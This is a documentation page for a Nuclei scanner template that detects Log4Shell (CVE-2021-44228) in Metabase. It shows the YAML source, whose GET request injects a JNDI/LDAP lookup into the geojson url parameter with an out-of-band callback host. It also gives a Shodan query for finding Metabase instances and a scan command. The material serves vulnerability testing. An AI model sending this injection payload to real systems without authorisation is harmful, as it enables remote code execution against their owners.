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Metabase - Remote Code Execution (Apache Log4j)

ID: metabase-log4j

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2021,rce,jndi,log4j,metabase,kev,oast

Description

Section titled “Description”

Metabase is susceptible to remote code execution due to an incomplete patch in Apache Log4j 2.15.0 in certain non-default configurations. A remote attacker can pass malicious data and perform a denial of service attack, exfiltrate data, or execute arbitrary code.

YAML Source

Section titled “YAML Source”
id: metabase-log4j


info:
  name: Metabase - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: Metabase is susceptible to remote code execution due to an incomplete patch in Apache Log4j 2.15.0 in certain non-default configurations. A remote attacker can pass malicious data and perform a denial of service attack, exfiltrate data, or execute arbitrary code.
  reference:
    - https://www.cybersecurity-help.cz/vdb/SB2021121706
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Metabase"
  tags: cve,cve2021,rce,jndi,log4j,metabase,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - method: GET
    path:
      - "{{BaseURL}}/api/geojson?url=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.url.{{interactsh-url}}}"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Invalid GeoJSON file location:'


      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100e1dae2d9a3bd70f30e1bc96ad157fe63786367d971bca3ef9e7a2dfceb148e34022100dfbcbb380dbc7c50c5ee8b15950c2befd49e3ad887b52ff5d96f20ba2179ab93:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/metabase-log4j.yaml"

View on Github